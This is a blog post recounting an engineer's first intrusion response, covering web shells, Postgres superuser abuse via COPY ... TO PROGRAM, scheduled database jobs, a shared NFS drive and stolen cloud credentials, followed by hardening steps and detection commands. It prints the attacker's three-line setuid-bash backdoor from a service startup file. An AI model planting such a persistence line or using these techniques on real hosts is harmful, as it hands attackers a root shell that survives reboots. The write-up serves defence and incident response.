Blog

My first security incident: web shells, a Postgres superuser and a backdoor in a startup file

A failing report download led me to web shells, Postgres jobs, and a backdoor in a service's startup file. What the attacker did, why cleanup kept failing, and the checks I run now.

  • Security
  • Linux
  • PostgreSQL
  • AWS

I was asked to look at report downloads that were failing on a service I don't usually work on, one whose cloud a separate team runs. I thought it would take a few minutes. While I was in there I found a web shell, and it turned into a few days of cleaning up after someone. It was the first security incident I've ever worked.

I'm writing it down because most of what went wrong was basic misconfiguration rather than any clever attack, and that kind of thing is easy to leave behind on a busy week. I've kept everything generic on purpose, so there are no names, no addresses, and nothing useful to an attacker.

TL;DR: the attack in one chain
  1. Leaked credentials got an attacker to services that were open to the internet.
  2. One was a Postgres database, and a superuser there can run shell commands through COPY ... TO PROGRAM, so reaching the database meant a shell on the host.
  3. A web directory that anyone could write to, with automatic deployment on, gave a second foothold as web shells.
  4. A shared NFS drive, writable by everyone and mounted on both hosts, let the two footholds pass files between them.
  5. The host's cloud credentials were stolen, but they were low privilege, so the damage to the account stayed small.
  6. Cleanup kept failing because the backdoor was hidden in four places at once, including a line in the service's startup file that rebuilt it on every boot.
  7. The fix was to take the ports off the internet, cut privileges, lock the web directory, squash root on NFS, and rebuild the host instead of trusting the cleanup.

Here is roughly how it went.

  1. weeks beforeThe cloud provider's threat detection flags brute force and stolen credentials, over and over, for weeks. Nobody is reading the alerts.
  2. day ofWeb shells land on the app host. By evening there is an outbound port scan, the storage is enumerated, and files are staged on the shared drive. Overnight the host's cloud credentials are used from an outside address.
  3. +1 dayI pick up the report ticket and notice a web shell sitting next to the thing I came to fix. First cleanup: block the shells, disable the database jobs, kill the processes.
  4. +2 daysThey are still in. New web shells appear in the morning, and a planted symlink sends the service into a restart loop, so staff cannot log in. The long day: close the ports, rotate credentials, strip privileges, sweep every host.
  5. +3 daysA piece I had missed comes back after a reboot. That is when I find the startup file backdoor. A full pass over every host comes back clean.

The report bug

The application writes its reports to an NFS share that someone had mounted by hand and never added to /etc/fstab, so after the last restart it simply wasn't there. I remounted it and the reports came back, and that part really did take about five minutes.

Before I logged off I looked at what the servlet container was running, and two of the applications meant nothing to me. They were about a kilobyte each and had been deployed late on a weekend. I opened one, and it was a single page that runs shell commands, with a second page next to it that runs SQL. They were web shells, and they had been sitting there for three days. At that point I stopped worrying about the reports.

How they got in

There was no clever exploit anywhere in this. Everything the attacker needed was already open, and closing any one of those holes would have stopped the whole thing.

the internet DB port · admin port · SSH · RDP · NFS · all public in via the load balancer straight at the DB port Web host Tomcat · nginx web shell dropped in Database Postgres ×3 superuser → OS shell the two footholds passed files here shared NFS drive writable by all · on both hosts
Two footholds on two hosts, bridged by a shared drive. Nothing was exploited; the ports were already open.

The database was the likely way in. It was reachable from the internet, it allowed password logins from anywhere, and it had more than one superuser account. The part I hadn't really taken in before was that a Postgres superuser can run shell commands, through a feature called COPY ... TO PROGRAM. That means an open database isn't only a risk to the data inside it. It is a shell on the host.

I couldn't pin down the exact first access, because the logs had rotated by the time I was looking and the credential alerts had started before the footholds showed up. The web tier was just as open. Its application directory was writable by any user and set to deploy whatever landed in it, so once the attacker could run a command, dropping a file there was enough to turn it into a live application. The admin console was being brute forced tens of thousands of times, but none of those attempts got in, because the writable directory was the easier path.

The two hosts were tied together by the same NFS drive from the report bug. It was writable by everyone, it didn't squash root, and it was mounted on both machines, so a file written by one foothold was there for the other to pick up. SSH and RDP were open to the internet as well.

Why cleanup kept failing

I would find a backdoor, remove it, confirm it was gone, and then find it back the next day.

I cleared the symptom and missed the cause I remove the backdoor kill it, delete files it restarts a boot or a minute a trigger fires setenv.sh · a DB job backdoor is back setuid · superuser
Four separate layers. Removing one left the rest, and a line in the service's own startup file rebuilt a piece on every boot.

There were four of these, and none of them depended on the others.

Inside the database, scheduled jobs ran every minute as the superuser and kept granting superuser back to the application's own account, in case anyone took it away. They never showed up in the system cron, because the schedule lives in a table inside Postgres.

There was also a copy of bash in a temp directory with the setuid bit set, so running it handed back the owner's shell. I kept deleting it, and after every restart it reappeared. It wasn't in cron and it wasn't in systemd. It was three lines added to the end of the service's own startup script, the one it reads every time it boots:

bash
id > /tmp/<name>.txt
cp -f /bin/bash /tmp/<name>
chmod 4755 /tmp/<name>

So every restart quietly rebuilt it, out of a file I never thought to open. When you clean up after an intrusion, the changes aren't only in the obvious places like cron. They sit in the ordinary startup and config files you skim past, because you assume those belong to you.

On top of that there was a watched folder that worked as a command channel. You dropped a script in, it ran, and the output appeared in a file next to it, with nothing crossing the network for anyone to notice. They had also left an extra SSH key in a service account, in case the rest got cleaned up. The web shells themselves kept coming back for a simpler reason, which is that the web port was still open and still deploying whatever was dropped into it.

The outage

One morning nobody could log in. The service was stuck in a restart loop, with hundreds of failed starts behind it. Someone had placed a symlink in its log folder that pointed at a protected system file, and the startup step that fixes permissions on that folder followed the link, hit a file it wasn't allowed to touch, and gave up. Removing the symlink and restarting brought the login back.

The stolen credentials

The host's cloud credentials were stolen and used from an outside address, and that was the part I worried about most. It turned out to be contained, because the credentials were low privilege. They could read and write a couple of storage buckets and reach the monitoring service, and that was all. In the logs you can watch the attacker try to move around the account and get denied, one call after another. There was no access to other accounts, no new users, and no new machines.

That low privilege is the main reason the damage stayed small. Everything the attacker reached was on the hosts themselves.

A mistake I made

I made two that are worth owning.

To cut off the stolen credentials, I put a blanket deny policy on the role. It stopped the stolen key, and it also cut the management agent on the five hosts that shared that role, all at the same moment, so I locked myself out of the machines I was in the middle of cleaning. I narrowed the policy down and got back in, but for a while I had made a bad morning worse. What I took from it is that you cut off access one thing at a time, not in a single sweep.

Earlier in the same push, a load balancer rule I wrote was a little too broad and briefly returned a 403 to everyone before I corrected it. It is the kind of slip you make when you are moving quickly, and it was the service's own users who felt it.

Now, before I touch a role or a policy, I check what else is using it:

bash
aws iam list-instance-profiles-for-role --role-name <role> \
  --query 'InstanceProfiles[].Arn'
aws ec2 describe-instances \
  --filters Name=iam-instance-profile.arn,Values=<profile-arn> \
  --query 'Reservations[].Instances[].InstanceId' --output text

Clean or rebuild

By the end, everything I had found was gone and the ports were closed, and I still wouldn't call those hosts clean. Someone had been running commands on them for days, and all I can ever remove is what I actually found. The system was being retired anyway, so we pulled the last reports off it and shut it down. If it had needed to stay in service, the right move would have been to rebuild it from a known good image and restore the data, rather than keep running the copy I had scrubbed.

What actually fixed it

Each hole, and what closed it:

  • The admin ports, the database, Tomcat, SSH, RDP and NFS, all came off the public internet and went behind a VPN.
  • The database stopped allowing password logins from the internet, the spare superusers were removed, and the application's own account lost its ability to run programs.
  • The application directory was locked down so it was no longer writable, and automatic deployment was turned off.
  • The NFS export was restricted to the hosts that needed it and set to squash root.
  • The long lived keys were replaced with temporary roles that carry only the access they need and rotate on their own.

The checks I run now

These are the checks that found something here, or that would have found it sooner.

Anything open to the whole internet:

bash
aws ec2 describe-security-groups \
  --filters Name=ip-permission.cidr,Values=0.0.0.0/0 \
  --query 'SecurityGroups[].[GroupId,GroupName]' --output text

Postgres superusers, and jobs scheduled inside the database:

sql
SELECT rolname FROM pg_roles WHERE rolsuper;
SELECT jobid, schedule, username, command FROM cron.job;  -- if pg_cron is present

Applications you didn't deploy, and server side pages changed in the last month:

bash
ls -la --time-style=long-iso "$CATALINA_HOME/webapps"
find "$CATALINA_HOME/webapps" -name '*.jsp' -mtime -30

Setuid files, extra SSH keys, and the tail of the scripts your services run at boot:

bash
find / -xdev -perm -4000 -type f -not -path '/usr/*' 2>/dev/null
cat ~*/.ssh/authorized_keys /home/*/.ssh/authorized_keys 2>/dev/null
tail -n 20 "$CATALINA_HOME/bin/setenv.sh"

NFS exports shared with everyone, or without root squashing:

bash
grep -v '^#' /etc/exports

And the findings the provider has probably already raised that nobody has read:

bash
aws guardduty list-findings --detector-id <id> \
  --finding-criteria '{"Criterion":{"severity":{"Gte":7}}}'

Most of this came down to open ports. The habit that helped most wasn't technical at all. I kept a running note of every step as I went, and by the second day I couldn't have reconstructed the order without it, and I stopped trusting that anything was gone until I had found what kept bringing it back.

Further reading